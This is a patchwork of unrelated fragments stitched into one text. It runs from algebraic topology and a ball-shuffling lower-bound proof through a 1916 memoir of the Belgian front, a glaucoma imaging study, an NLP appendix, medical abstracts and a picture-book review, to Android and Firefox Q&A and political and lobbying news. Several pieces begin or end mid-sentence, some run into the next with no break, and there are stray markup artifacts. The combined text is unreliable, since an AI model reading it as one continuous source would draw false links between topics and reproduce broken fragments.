{\mathcal{X}}_2 \rar & {\mathcal{X}}_{12}.\end{tikzcd}$$ We may restrict this to the *punctured $k$-cube* ${\mathsf{P}}_0(S)$ given by removing the object $\varnothing$. There is then a natural based map ${\mathcal{X}}_\varnothing \to \operatorname*{holim}_{I \in {\mathsf{P}}_0(S)} {\mathcal{X}}_I$, and its homotopy fibre is the *total homotopy fibre* $$\underset{S \subset I}\operatorname*{tohofib}\, {\mathcal{X}}\coloneqq \operatorname*{hofib}\left({\mathcal{X}}_{\varnothing} \to \underset{I \in {\mathsf{P}}_0(S)}\operatorname*{holim}{\mathcal{X}}_I\right).$$
We will need a general result on the homotopy groups of total homotopy fibres of certain split cubical diagrams.
\[defn:SplitCube\] A $k$-cube of spaces ${\mathcal{X}}$ is *split up to homotopy* if for each pair of disjoint subsets $I, J \subset {\underline{k}}$ with $J$ nonempty there are given maps $s_{I, J} \colon {\mathcal{X}}_{I \sqcup J} \to {\mathcal{X}}_I$ such that
(i) when $I'$ and $J$ are disjoint subsets and $I \subset I'$ there are homotopies $$s_{I', J}\circ {\mathcal{X}}(I \sqcup J \to I' \sqcup J) \simeq {\mathcal{X}}(I \to I')\circ s_{I, J} \colon {\mathcal{X}}_{I \sqcup J} {\longrightarrow}{\mathcal{X}}_{I'},$$
(ii) the composition ${\mathcal{X}}(I \to I \sqcup J) \circ s_{I,J}$ is homotopic to the identity.
Property (i) says that in the homotopy category the maps $s$ combine to form a map of $(k-|J|)$-cubes from ${\underline{k}} \setminus J \supset I \mapsto {\mathcal{X}}_{I \sqcup J}$ to ${\underline{k}} \setminus J \supset I \mapsto {\mathcal{X}}_{I}$; property (ii) says that this map of cubes splits the map in the opposite direction induced by ${\mathcal{X}}$.
\[lem:tohofib-cubes-w-sections\] Suppose that a $k$-cube ${\underline{k}} \supset I \mapsto {\mathcal{X}}_I$ of 1-connected spaces splits up to homotopy. Then the natural homomorphism $$\pi_{*}(\underset{I \subset {\underline{k}}}{\operatorname*{tohofib}}\,{\mathcal{X}}_I) {\longrightarrow}\bigcap_{j \in {\underline{k}}} \ker\Big[\pi_{*}({\mathcal{X}}_\varnothing) \to \pi_{*}(X_j)\Big]$$ is an isomorphism.
Consider the spectral sequence of [@munsonvolic Theorem 9.6.12], which has the form $$E^1_{p,q} = \prod_{\substack{J \subset {\underline{k}}\\|J|=p}} \pi_q({\mathcal{X}}_J) \Longrightarrow \pi_{q-p}(\underset{I \subset {\underline{k}}}{\operatorname*{tohofib}}\,{\mathcal{X}}_I)$$ with the differential $$d^1 \colon \prod_{\substack{J \subset {\underline{k}}, |J|=p}} \pi_q({\mathcal{X}}_J) {\longrightarrow}\prod_{\ |
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] | i+1})\cup(\hat{{\mathcal{B}}}_{i+1}-\hat{{\mathcal{B}}}_i)\}|$. This element transition cost cannot be higher than that from ${\mathcal{B}}_{i\cdot 2MB}$ to ${\mathcal{B}}_{(i+1)\cdot 2MB}$ only counting the elements of $G_{i+1}$, because $\hat{b}_{i,j} \ne \hat{b}_{i,j'}$ only if $b_{i,j} \ne b_{i,j'}$. Therefore, the total element transition cost of the sequence $\hat{{\mathcal{B}}}_1,
\dots, \hat{{\mathcal{B}}}_B$ is at most $O(uB)$.
Now we claim that the sequence $\hat{{\mathcal{B}}}_1, \dots, \hat{{\mathcal{B}}}_B$ gives us a solution for the ball-shuffling problem of $B$ balls and $A$ bins with cost at most its element transition cost. To see this, just treat each set in $\hat{{\mathcal{B}}}_i$ as a bin in the ball-shuffling problem. To add the $(i+1)$-th ball, we shuffle the bins in $\hat{{\mathcal{B}}}_i-\hat{{\mathcal{B}}}_{i+1}$ and allocate the balls according to the sizes of the sets in $\hat{{\mathcal{B}}}_{i+1} -
\hat{{\mathcal{B}}}_i$. An element may have copies in $\hat{{\mathcal{B}}}_{i+1}$, so there could be more elements than balls in $\hat{{\mathcal{B}}}_{i+1} - \hat{{\mathcal{B}}}_i$. But this is all right, we can still allocate balls according to $\hat{{\mathcal{B}}}_{i+1}
- \hat{{\mathcal{B}}}_i$, while just making sure that each bin has no more balls than their corresponding set in $\hat{{\mathcal{B}}}_{i+1}$. This way, we can ensure that the cost of each shuffle is always no more than the element transition cost of each transition. Therefore, we obtain a solution to the ball-shuffling problem with cost $O(uB)$. This completes the reduction.
Proof of Theorem \[thm:shuffling\] {#sec:proof}
==================================
#### Proof of part (i).
We first prove part (i) of the theorem. We will take an indirect approach, proving that any algorithm that handles the balls with an average cost of $u$ using $t$ bins cannot accommodate $(2t)^{2u}$ balls or more. This means that $n < (2t)^{2u}$, or $u >
\frac{\log n}{2\log(2t)}$, so the total cost of the algorithm is $un =
\Omega(n\log_t n)$.
We prove so by induction on $u$. When $u=1$, clearly the algorithm has to put every ball into an empty bin, so with $t$ bins, the algorithm can handle at most $t < (2t)^2$ balls. We will use a step size of $\frac{1}{2}$ for the induction, i.e., we will assume that the claim is true for $u$, and show that it is also true for $u+\frac{1}{2}$. (Thus our proof works for any $u$ that is a multiple of $\frac{1}{2}$; for other values of $u$, the lower bound becomes $(2t)^{\lceil 2u \rceil}$, which does not affect our asymptotic result.) Equivalently we need to show that to handle $(2t)^{2u+1}$ balls, any algorithm using $t$ bins has to pay an average cost of more than $u+\frac{1}{2}$ per ball, or $(u+\frac{1}{2})(2t)^{2u+1} = (2tu+t)(2t)^{2u}$ in total. We divide the $(2t)^{2u+1}$ balls into $2t$ batches of $(2t)^{2u}$ each. By the induction hypothesis, to handle the first batch, the algorithm has to pay a total cost of more than $u(2t)^{2u}$. For each of the remaining batches, the cost is also more than $u(2t)^{2u}$, plus the cost of shuffling the existing balls from previous batches. This amounts to a total cost of $2tu(2t)^{2u}$, and we only need to show that shuffling the balls from previous batches costs at least $t(2t)^{2u}$ in total.
If a batch has at least one ball that is never shuffled in later batches, it is said to be a [*bad batch*]{}, otherwise it is a [*good batch*]{}. The claim is that at most $t$ of these $2t$ batches are bad. Indeed, since each bad batch has at least one ball that is never shuffled later, the bin that this ball resides in cannot be touched any more. So each bad batch takes away at least one bin from later batches and there are only $t$ bins. Therefore there are at least $t$ good batches, in each of which all the $(2t)^{2u}$ ball have been shuffled later. This costs at least $t(2t)^{2u}$, and the proof completes.
#### The merging lemma.
Part (i) of the theorem is very loose for small values of $t$. If $t\le
\alpha \log n$ where $\alpha$ is an arbitrary constant, we can prove a much higher lower bound, which later will lead to the most interesting branch in the query-update tradeoff of range queries. The rest of this section is devoted to the proof of part (ii) of Theorem \[thm:shuffling\], and it requires a much more careful and direct analysis.
We first prove the following lemma, which restricts the way how the optimal algorithm might do shuffling. We call a shuffle that allocates balls back to more than one bin a [*splitting shuffle*]{}, otherwise it is a [ *merging*]{} shuffle.
\[lem:merge\] There is an optimal algorithm that only uses merging shuffles.
For a shuffle, we call the number of bins that receive balls from the shuffle its [*splitting number*]{}. A splitting shuffle has a splitting number at least 2, and a merging shuffle’s splitting number is 1. For an algorithm ${\mathcal{A}}$, let $\pi({\mathcal{A}})$ be the sequence of the splitting numbers of all the $n$ shuffles performed by ${\mathcal{A}}$. Below we will show how to transform ${\mathcal{A}}$ into another algorithm ${\mathcal{A}}'$ whose cost is no higher than that of ${\mathcal{A}}$, while $\pi({\mathcal{A}}')$ is lexicographically smaller than $\pi({\mathcal{A}})$. Since every splitting number is between 1 and $t$, after a finite number of such transformations, we will arrive at an algorithm whose splitting numbers are all 1, hence proving the lemma.
Let ${\mathcal{A}}$ be an algorithm that uses at least one splitting shuffle, and consider the last splitting shuffle carried out by ${\mathcal{A}}$. Suppose it allocates balls to $k$ bins. ${\mathcal{A}}'$ will do the same as ${\mathcal{A}}$ up until its last splitting shuffle, which ${\mathcal{A}}'$ will change to the following shuffle. ${\mathcal{A}}'$ will collect balls from the same bins but will only allocate them to $k-1$ bins. Among the $k-1$ bins, $k-2$ of them receive the same number of balls as in ${\mathcal{A}}$, while the last bin receives all the balls in the last two bins used in ${\mathcal{A}}$. Observe that since the bins are indistinguishable, the current status of the bins is only determined by their sizes. So the only difference between ${\mathcal{A}}$ and ${\mathcal{A}}'$ after this shuffle is two bins, say $b_1, b_2$ of ${\mathcal{A}}$ and $b'_1, b'_2$ of ${\mathcal{A}}'$. Note that the cost of this shuffle is the same for both ${\mathcal{A}}$ and ${\mathcal{A}}'$. After this shuffle, suppose we have $b_1= x, b_2=y, b'_1 = x+y, b'_2 = 0$ for some $x, y \ge 1$. Clearly, no matter what ${\mathcal{A}}'$ does in the future, we always have $\pi({\mathcal{A}}')$ lexicographically smaller than $\pi({\mathcal{A}})$.
From now on ${\mathcal{A}}'$ will mimic what ${\mathcal{A}}$ does with no higher cost. We will look ahead at the operations that ${\mathcal{A}}$ does with $b_1$ and $b_2$, and decide the corresponding actions of ${\mathcal{A}}'$. Note that ${\mathcal{A}}$ will do no more splitting shuffles. Consider all the shuffles that ${\mathcal{A}}$ does until it merges $b_1$ and $b_2$ together, or until the end if ${\mathcal{A}}$ never does so. For those shuffles that touch neither $b_1$ nor $b_2$, ${\mathcal{A}}'$ will simply do the same. Each of the rest of the shuffles involves $b_1$ but not $b_2$ (resp. $b_2$ but not $b_1$). Since the bins are indistinguishable, for any such merging |
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] |
features. My official motor carried a special horn which cleared the
road of man and beast. The fields on all sides were tilled. I wondered
who the workers were, when what do you think I saw? Forty children in a
row, boys and girls, all ages, from the little tot to the boy who would
next year be in the army, each with a hoe. In front of them stood an
old man who beat time with a stick while the children plied the hoe,
and I warrant they had a happy time doing it.
At last I knew we must be nearing La Panne, for soldiers became more
numerous. There is always one division of the Belgian Army _en repos_
at La Panne. The motor made several sharp turns, and as long as I live
I shall never forget the scene. Warm sunshine, a sandy beach over an
eighth of a mile wide--small breakers--a line of brightly coloured
seaside houses and villas--little sloops on the sea and warships in
the distance--cavalry manoeuvering on the sands--the dunes at either
end and behind neat white veiled nurses and brightly clad convalescent
soldiers on the walk and in the sands--the distant booming of big guns,
probably English--and the nearer sounds of practice rifle and machine
gun firing.
In a small villa I met the Queen, pretty, charming and gracious, with
wonderful eyes that seemed to look straight through me and beyond. We
talked for quite a long time and she asked me what would interest me
most to see in the little corner of Belgian Belgium. I replied that I
should like to see everything that was being done in a constructive
way for the soldiers, civilians, children. With the promise that my
wish would be gratified I took my leave and was then escorted to the
villa of the famous Dr. Depage, where I remained for a week as his
guest. The hospital is a wonder of excellence in every way. Charming
ladies efficiently shoulder the burdens of the trained nurse, and they
and doctors work hours on end when the wounded come in crowds from the
nearby trenches.
At sunset descended an English aeroplane on the beach. In a few minutes
it was surrounded by a couple of hundred men in khaki, just as if they
had sprung out of the ground. Then off it went, gracefully dipping in
a low sweeping curve in front of the "palace," then soaring high as
it struck out to sea. Then the beach guard changed, and suddenly over
the front only a few miles away appeared a Belgian plane with German
shrapnel bursting in little black puffs around it. I went with Dr.
Depage to see the wounded arriving in the ambulances, and I took a
thirty second peep at a leg operation in the doing. At dinner--a very
frugal but good one--we talked of everything except war. And this was
my first day at the front.
II--A WOMAN IN THE TRENCHES AT THE YSER
_Trenches La Panne_, May, 1916.
Seven o'clock in the morning and I had just returned from the trenches,
fairly well-behaved trenches, but real ones nevertheless, for several
German bullets had sought us as a target in the early morning mist. It
was all unreal, for I saw nothing. Yet I had to believe it, for I heard.
Thanks to the courtesy of a gallant staff captain and a charming
grey-haired general, I made this unique expedition. The captain and I
started before daylight in the cold of a grey morning and rode to the
trenches in a comfortable limousine. The fields about were desolate,
even the trees destroyed. Here and there a heap of stones, the remains
of a thrifty farm, sheltered a small company of soldiers. The roads
were unspeakable, so deep the holes and ruts. We passed through P----.
There were still a few walls standing, and there we picked up a piece
of marble to make me a paper weight. I knew the Germans were not far
off, for the cannonading was continuous about three miles down on our
right. But for all I could see I might as well have been on the western
prairies.
"What in the world is straw fixed up that way for?" I asked.
"That is a curtain of straw which stretches for miles along the road
behind the trenches to hide our motors from the enemy. A motor means an
officer, and if they could see us we would not be here long."
We stopped behind the straw screen and got out, crawling under it
into a communication trench. I had better call them ramparts, for
this district, you know, was the inundated land of the Yser. One
hundred yards in this winding alley of concrete and sandbag wall and
we reached the main trench, a solid substantial rampart of concrete,
sandbags and earth, with the grass growing on the side facing the
enemy. Here the soldiers on duty lived in their little cubby-holes in
the wall. They slept in groups of fours, stretched out on clean straw
with their guns beside them ready for sudden call. And, if you please,
do not suppose that these domiciles went unnamed or unadorned. By the
irony of fate the first wooden door we came to was thus inscribed, all
in French, of course:
_Villa "Ne T'en Fai pas"!
War with Notes!
Wilson-Bethman!
Hurry up, you Neutrals!_
How commonplace trench life has become after these two long years of
habit! Nowadays men do not go to the office and the shop. They go
up to the trenches for daily duties. These trenches we were in were
main-line, where the enemy was not supposed to penetrate unless rude
enough actually to break through. So the soldiers portioned off the
rough earth beside the board walk that ran parallel to the rampart, and
first they had a little vegetable garden, and next to it for beauty's
sake a little flower garden, and next to that a little graveyard, and
then the succession repeated. Five hundred yards beyond the main lines,
across the inundated fields streaked with barbed wire sticking up out
of the water, was the front line trench, a rougher rampart, mostly of
earth, and when it rained, oh mud! Under cover of darkness the boys
went out and returned, walking across a rickety board walk.
Bang! Bang! Bang! Those were sharp shots and sounded like business.
They might become more personal than the steady heavy roar of guns
sending up their smoke at D---- on our right. We dared not tarry, for
the sun was coming up.
The Major of the line was waiting to greet us and offered us early
morning refreshment in his dug-out. His dug-out was a cozy, comfy
little place, two boarded rooms in the rampart wall, high enough to
stand up in, and furnished with a cot and blankets and some chairs
and a stove and a mirror and some pictures, and, yes, a latch on the
door to enter by. If I had had no ears it would have been difficult
to persuade me that there were men not far off who, without personal
animosity, would gladly have landed a shell in our midst.
The war as I glimpsed it in the many phases I was able at last to touch
upon always gave me the impression of running up against a blank wall
of contradiction. To people who live week in and week out in the range
of shell fire, life and death take on a new relationship. Death may
come at any moment, and yet meantime life must be lived, and one can't
live all the time at high pressure. Perhaps no more vivid instance of
this came to me than when I was sitting in barracks near F---- as the
guest of that wonderful woman, Mrs. I---- T----. Up with the dawn,
she and her fellow worker slaved without intermission, caring for the
poor civilians of F----. They taught and fed the kiddies, dispensed
medical and even surgical help, going out across the fields through
the darkness at any call; gave out food and clothing to the women who
came daily to claim their portion. Then, the day's hard work over, came
dinner, at which an officer or two, French, Belgian, English, even
American, might drop in, and afterwards my hostess would sit at the
piano and sing Debussy with a voice of beauty and volume, while all
the time the guns would thunder, the aeros might be overhead, and men
were being killed on all sides. One's mind hardly grasped it, but one's
emotions ran high.
III--IN A HOSPITAL WITH THE COUNTESS V----
_P_----, May, 1916.
P---- was close by the famous Ypres and had the honour at the moment of
being a bombarded town. Hardly a day passed that shells did not fall
here in greater or less quantity. Have you ever been in a bombarded
town? Gloom? You could cut it |
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] | border of the LC and different measurement locations. Previous reports defined the outer border of the LC as the point where the OCT signal disappeared, and measured the average of 3 horizontal lines in the optic nerve head. In this study, we defined the outer border of the LC as the point where the LC pores disappeared, and determined this point in 12 radial B-scan images. Recently, volume-rendered 3D images of the optic disc have shown that the anterior border of the LC can include a central horizontal ridge \[[@pone.0122347.ref023]\] or focal concavity, can be flat or sloped, and can be W- or U-shaped \[[@pone.0122347.ref027]\]. This anatomical variety suggests that LC thickness measurements obtained from only a small area may be inaccurate. Our method of defining the outer border of the LC should therefore provide a more accurate assessment of LC thickness. Thus, although the true average thickness of the LC remains unclear, we were able to obtain highly reproducible measurements that were closely correlated to glaucoma severity, indicating that our method may be a promising new way of evaluating glaucomatous damage.
In this study, we measured the thickness of the LC only in areas of the scanned image that had been established as reliable. The limitations of OCT technology produce shadows beneath retinal vessels, and the optic disc is an area particularly rich in vessels. The resulting high concentration of shadows can thus affect the accurate assessment of the LC. Indeed, we found that OCT shadows also risked affecting the manual process of segmenting the LC, impeding the accurate segmentation of the posterior border and flank of the LC. Thus, we manually defined an area of the scanned image that could be reliably segmented and measured LC thickness only in this area. We found that the correlation coefficient between LC thickness and the severity of glaucomatous damage was stronger when only the reliably measurable area was included in the analysis. This result suggests that evaluations of LC thickness would be improved by including only areas of the OCT scan where the LC can be reliably measured. In the near future, enhancement techniques such as adaptive compensation \[[@pone.0122347.ref037]\] may enable clearer visualization of the LC surface beneath the vessels or thick sections of the neuronal rim, thereby increasing the accuracy of measurements of LC thickness.
The goal of this study was to evaluate new software for the analysis of SS-OCT scans. This study included only a small study population, composed of subjects from a single ethnic group. Additionally, it remains unclear whether factors such as age and myopia affect LC thickness. Regarding the influence of tilted disc in measuring LC thickness, our method would overestimate the thickness of the LC. For example, if the lamina were tilted by 5 degrees, the measured thickness would increase by around 8%. However, to minimize potential bias from these factors, we matched age and refractive error between the groups. Finally, the version of the software used in this study required approximately 40 minutes for the operator to complete the entire process and form a 3D image. Most of this time was used in the manual marking process. If the border of the LC was flat, it took less than 15 minutes to complete this process, but if the border was curved, the process was lengthier. Hence, the version of our method described here is not suitable for normal clinical use. As a next step, we are planning to develop a new version of the software that has less need for manual marking, is quicker to use, and can automatically segment the LC borders. However, the version of the software described here was able to produce a detailed 3D image of the LC, demonstrating its suitability for glaucoma research.
Conclusions {#sec020}
===========
In conclusion, this is the first report on a successful method to segment the LC *in vivo* in 3D, and to measure the average thickness of the LC. Although the effect of retinal vessel shadows in the optic nerve head on assessment of the LC was not entirely eliminated, we found that our measurements of avgLCT were significantly correlated to glaucoma severity. Therefore, our new method of measuring LC thickness with SS-OCT can be considered a reliable, useful and accurate parameter for the evaluation of LC structure, and would enhance research into the pathology of NTG.
The authors thank Mr. Tim Hilts for editing this manuscript and Mrs. Minami Yoshida for technical assistance.
[^1]: **Competing Interests:**The authors have read the journal's policies and noted the following conflicts: The authors disclose a financial relationship with Topcon Corporation because of the patent pending related to this article applied by Kazuko Omodaka, Tsutomu Kikawa, Akiko Matsumoto, Masahiro Akiba, and Toru Nakazawa. These works were supported by a JST grant from JSPS KAKENHI Grants-in-Aid for Scientific Research (B) (Toru Nakazawa, 26293372) and for Exploratory Research (Toru Nakazawa, 26670751), and by the JST Center for Revitalization Promotion. Tsutomu Kikawa, Akiko Matsumoto, and Masahiro Akiba are employed by Topcon Corporation and project members of grant for JST Center for Revitalization Promotion. The authors have nothing else to declare other than this, and this does not alter the authors' adherence to PLOS ONE policies on sharing data and materials.
[^2]: Conceived and designed the experiments: TN MA TY. Performed the experiments: KO TH ST TK AM YS KM. Analyzed the data: KO YS. Contributed reagents/materials/analysis tools: TH TK AM TY MA. Wrote the paper: KO TH MA TN.
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title: Appendix
---
Inferring Entities {#appendix}
==================
For corroborating the fact that including any form of knowledge improves the quality of generated outputs, we compare model \[ref\] with the rewriter\[\]. In this comparison setup, we do not provide gold entities to our model. We instead provide list of retrieved entities which are closely related to the title at hand.
Entity retrieval systems can be formulated in multiple ways. Literature shows tasks such as graph completion, entity retrieval and entity recommendation. We develop a simple setup for the task of retrieving closely related entities to a given scientific title. We train a cosine embedding loss based system which minimizes the distance between a title and related entities and maximizes the distance between the title and negative samples of entities.
When a test title is fed to this system, we extract entities in the test title, perform jaccard distance comparison with entities in training titles and retrieve training titles with with Jaccard distance > 0.7. This Jaccard distance measure hints that the two titles contain similar information. We then extract entities present in the abstracts of those training titles and run them through the cosine similarity model together with the test title. The system then outputs a subset of entities which have the highest cosine similarity with the test title. Based on the entity statistics shown in table \[\]. We retrieve utmost 12 closest entities. Note: If no entity is present in the test title, we extract subspans of length 1-4 for the jaccard distance comparison.
This list of inferred entities and the title are fed to our trained generation model \[ref\]. We compare the automatic metrics of this system with that of the rewriter \[\] where no entity information is available. We can clearly see that the system performs much better when some information is provided.
Sample Outputs
==============
[|c|>X|]{} Inputs & **Title :** A Bayesian Model for Simultaneous Image Clustering , Annotation and Object Segmentation .\
**Entities :** heterogeneous mix of components ; spatially contiguous objects ; logistic stick-breaking process ; non-parametric bayesian model ; variational bayesian analysis ; object-feature mixture models ; image classes ; mixture models ; image databases ; image features ; object types ; inference\
**Relations :** image databases - used-for - inference ; logistic stick-breaking process - used-for - spatially contiguous objects ; variational bayesian analysis - used-for - inference\
Graph Writer & in this paper , we address the problem of inference from image databases . we propose a non-parametric bayesian model for learning a non-parametric bayesian model of a set of spatially contiguous objects , which are learned from data in a logistic stick-breaking process . we show that the logistic stick-breaking process can be learned from data , and can be learned from data in a logistic stick-breaking process . we demonstrate the effectiveness of our model on a set of image databases , and show that the logistic stick-breaking process is able to recover spatially contiguous objects from image databases . we also show that the logistic stick-breaking process can be used to perform inference and inference from image databases .\
GAT Writer & in this paper , |
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] | short, declarative sentences are easily digested by the very youngest and will tempt burgeoning readers to test their skills. Best of all, children will surely be inspired to taste some of the produce the next time it appears on their plates.
Delicious on its own, and it will pair well with other books about gardens, plants and healthy eating habits. (Informational picture book. 2-5)Penile dermal flap for defect reconstruction in Peyronie's disease: operative technique and four years' experience in 17 patients.
Peyronie's disease is not uncommon. Despite its self-limiting nature in many patients and the multiplicity of available non-invasive treatment modalities, a few patients will eventually require surgery if deformity or impotence is severe and conservative measures have failed. Currently available operations for Peyronie's disease are less than ideal. The two most popular operations employed for this condition are the 'tucking' procedure of Nesbit (and its excision-plication variants) and the free dermal graft of Horton and Devine. In addition, many other autografts and synthetic grafts have been described by different workers. Some have used prostheses in these patients for straightening the penis in the absence of proven concomitant organic impotence. Unfortunately, none of these operations has fulfilled all desiderata. The author has worked at developing a live graft source (flap) which is free from many of the drawbacks experienced with other procedures. In this new operation, dermabraded penile dermis is raised on its vascular fascial pedicle and used to close the defect in the tunica albuginea consequent upon plaque incision. This technique is feasible in both circumcised and uncircumcised patients. This is the first report of the use of a flap in Peyronie's disease. Operative technique and results in 17 patients over 4 years are presented. The author's experience seems to suggest that this is an ideal operation for Peyronie's disease.Q:
Android getServerAuthCode() without extra permissions
I'm trying to authenticate an Android user with a backend server:
the app calls getServerAuthCode() and forwards the authorization code using HTTPS to our BE
the BE exchanges the server authorization code for an access token using GoogleAuthorizationCodeTokenRequest
the BE passes the access token to www.googleapis.com/games/v1/applications which returns the playerId (that's all I really need, I don't care for email and other user information)
The procedure is outlined here:
https://android-developers.googleblog.com/2016/01/play-games-permissions-are-changing-in.html (2016)
and here
https://android-developers.googleblog.com/2016/12/games-authentication-adopting-google.html (2017)
If I use the the instruction from 2017 I'm able to getServerAuthCode() without requesting any extra permissions. The only permission is: Google Play / Manage your game activity for this game. This is possible by specifying GoogleSignInOptions.DEFAULT_GAMES_SIGN_IN which is available on by using play-service 10.2.1. I'm unable to use 10.2.1 because of 3rd party dependencies.
The 2016 article explains how to getServerAuthCode() the 'old' way (using play-services 9.6.1), but I'm not able to get by without requesting some extra permissions.
If I do it like this, I get the asked for "Know who you are on google":
GoogleSignInOptions gso = new GoogleSignInOptions.Builder(GoogleSignInOptions.DEFAULT_SIGN_IN)
.requestServerAuthCode(serverClientId)
.requestScopes(Games.SCOPE_GAMES)
.build();
mGoogleApiClient = new GoogleApiClient.Builder(this)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.addApi(Auth.GOOGLE_SIGN_IN_API, gso)
.build();
...
protected void onActivityResult(int request, int response, Intent data) {
super.onActivityResult(request, response, data);
if (request == RC_SIGN_IN) {
GoogleSignInResult result = Auth.GoogleSignInApi.getSignInResultFromIntent(data);
if (result.isSuccess()) {
GoogleSignInAccount acct = result.getSignInAccount();
String authCode = acct.getServerAuthCode();
}
If I remove .requestServerAuthCode(serverClientId) from gso, authCode is null.
Another thing I tried (using only Games.API sign in):
mGoogleApiClient = new GoogleApiClient.Builder(this, this, this)
.addApi(Games.API)
.build();
...
Games.GetServerAuthCodeResult result = Games.getGamesServerAuthCode(mGoogleApiClient, serverClinetId).await();
if (result.getStatus().isSuccess()) {
String authCode = result.getCode();
I get result.getStatus().isSuccess()=false and result.getStatus().getStatusMessage() returns STATUS_CLIENT_RECONNECT_REQUIRED (2). In the logs I see:
[GetToken] GetToken failed with status code: NeedPermission
04-10 14:27:41.764: W/GamesServerAuthCodeOp(5775): Failed to retrieve the server auth code
04-10 14:27:41.764: W/GamesServerAuthCodeOp(5775): com.google.android.gms.auth.UserRecoverableAuthException: NeedPermission
Finnaly, the best I was able to achieve is to get 'only' the "View your basic profile info" permission doing this:
Scope scope = new Scope("https://www.googleapis.com/auth/userinfo.profile");
mGoogleApiClient = new GoogleApiClient.Builder(this, this, this)
.addApi(Games.API)
.addScope(scope)
.build();
So to recap - I want to get the server authorization code using 9.6.1 without being prompted for any extra permissions (like in the 2017 article using 10.2.1 using DEFAULT_GAMES_SIGN_IN).
Are there any scopes I can use that will give me the server authorization code (to get the playerId) without requesting extra permissions?
A:
Unfortunately, no. The scope you're already using is the right (and the simplest) way to retrieve an auth code and at the same time get a playerId.
Type 2 diabetes as a familial illness: Findings from a focus group study.
Type 2 diabetes mellitus (T2DM) is a prevalent illness with high societal and personal costs. Whereas there is some systemic research, there are still many pieces yet unknown about T2DM and families. The purpose of the current study is to understand the transgenerational health experiences related to T2DM for both patients and caregivers. Focus groups were the primary methodology. Interviews were recorded, transcribed, and coded for themes. Participants were recruited via community fliers and e-mail listservs. The primary inclusion criterion was having a (a) family history of T2DM or (b) personal history of T2DM. Participants also needed to be at least 18 years old and be able to read and speak English. In 4 focus groups, 32 people were interviewed. The sample was entirely rural yet reasonably diverse. Five dominant themes emerged from the data: physical health comorbidities, T2DM is a lifestyle illness affecting the whole family, mental health stresses and comorbidities, personal and family relationship with T2DM, and sharing knowledge. Participants indicated that their families had been influenced by T2DM and that the illness had both physical and mental health comorbidities-both of which caused considerable stressors. Participants also reported that they valued the sharing of knowledge related to T2DM with each other and people in their lives. Limitations to the study include lack of generalizability because of small sample size and the majority of recruitment being done via technology. Future research should include larger, more diverse samples and quantitative data collection. Implications are also discussed. (PsycINFO Database Record (c) 2019 APA, all rights reserved).For indispensable reporting on the coronavirus crisis, the election, and more, subscribe to the Mother Jones Daily newsletter.
On Saturday, President Donald Trump expressed his admiration for the “patriotic” supporters who chanted “send her back” at a recent North Carolina campaign rally, in reference to Minnesota Democratic Rep. Ilhan Omar (who came to the United States when she was 10-years-old).
It’s a weird definition of patriotism that would cast a former refugee who committed herself to public service as its antithesis, in the same way that it’s bizarre to suggest that a naturalized citizen currently serving in Congress still hasn’t “assimilated.” For someone who literally put the slogan on his forehead, Trump doesn’t seem to have much of a clue of what actually makes America great. Maybe Michelle Obama can set him straight. Here’s how she responded to the president’s attacks on Omar:
What truly makes our country great is its diversity. I’ve seen that beauty in so many ways |
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] | per cent of the peppermint sold in the US is descended from a mutant in a neutron-irradiated source."
• If you aren't running a "gamma garden," beware that peppermint can actually be considered an invasive plant to home plots!
&amp;amp;amp;amp;amp;nbsp;
Also on Mental Floss:
DID YOU KNOW? Marlon Brando hated memorizing lines so much that he posted cue cards everywhere to help him get through scenes.
He even asked for lines to be written on an actress's posterior. (That request was denied.)Top lobbying firms saw huge revenues in the third quarter of 2019, keeping the influence world's Trump-era boom going strong.
Akin Gump is at the highest-grossing spot, according to the latest Lobbying Disclosure Act reports. The firm reported $11.3 million in revenue for the third quarter, up over 27 percent from the third quarter of 2018.
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“Contrary to conventional wisdom about legislative activity in Washington, this year has been exceptionally busy for our firm and our clients leading to both our largest quarter and our largest back-to-back quarters in firm history,” Hunter Bates, co-head of Akin Gump’s public law and policy practice, said in a statement.
Bates touted the firm's bipartisan team, saying that “more and more clients are seeking the one-two punch of our lobbying team combined with our expansive team of regulatory lawyers.”
Brownstein Hyatt Farber Schreck reported $10 million for the third quarter, which is a 22-percent increase from the third quarter of 2018.
Marc Lampkin, Brownstein’s government relations department chairman, said that although Washington is now in the grips of impeachment drama, that hasn't stalled work for lobbyists.
“Last quarter reflects again the strength of our team, a great bipartisan team, among some of the strongest young lobbyists in town. I think what we’re seeing is that Washington really can walk and chew gum at the same time,” he told The Hill. “The talking heads all talk about impeachment and oversight but my sense is that both chambers are focused on solving many complex problems.”
He mentioned health care, technology, transportation, trade with China and the push to approve the new trade deal with Mexico and Canada as policy issues that are keeping the firm busy.
BGR Group reported $7.43 million in revenue, up from $7.24 million in the second quarter.
Squire Patton Boggs also saw growth with $6.33 million in revenue, up from $6.04 million in the second quarter. It reported $6.08 in revenue this time last year.
Holland & Knight reported $6.40 million for the third quarter, up from the $6.04 million it made it the third quarter of 2018.
There’s stiff competition on K Street among smaller firms, many of which reported similar revenues.
Heather Podesta’s firm, Invariant, reported $4.37 million, up over 14 percent from the last quarter when it reported $3.81 million. It has made $11.63 million so far in 2019, up over 21 percent from the $9.54 million it made in the first three quarters of 2018.
K&L Gates saw a slight decline, which it attributed to an increase in its other client work. The firm reported $4.35 million in revenue, down from $4.42 million in the second quarter.
“Our business continues to grow with non-LDA regulatory and investigations legal work generating revenue for the firm,” said Darrell Conner, head of the K&L Gates policy practice.
“It is one of the values of a law firm platform – we can leverage non-lobbying legal work during periods like a long August congressional recess to help offset the traditional declines in LDA revenues.”
Mehlman Castagnetti Rosen & Thomas remain close behind at $4.2 million in revenue, up from $4.1 million in the second quarter and from $3.8 million this time last year.
Cassidy & Associates made $4.03 million in revenue, up from $3.78 million in the second quarter and $3.7 million this time last year.
Forbes Tate Partners reported $3.83 million in revenue, up from $3.68 million in the second quarter and $3.32 million this time last year. It has made $10.99 million so far in 2019.
CGCN made $2.28 million in revenue, which is up from $2.22 million this time last year.
And, Monument Advocacy reported $2.17 million in revenue, up 5 percent from this period last year. So far for the year, the firm has reported $6.68 million in revenue.Q:
How to save a tab group in Firefox Panorama?
I recently started using Firefox Panorama. If I create a tab group that contains, for example, my favorite Stack Exchange websites, can I save ("bookmark") this tab group for easy access if I start a new session?
A:
I got an answer for the firefox forum:
You can bookmark all those tabs and place them in a folder. "Bookmark This Page" and "Bookmark All Tabs" no longer show in the Bookmarks menu unless you open the Bookmarks menu via the keyboard (Alt + B). "Bookmark All Tabs" can be accessed via the right-click context menu of a tab on the tab bar.
Teams losing coin toss pay penalty - tshtf
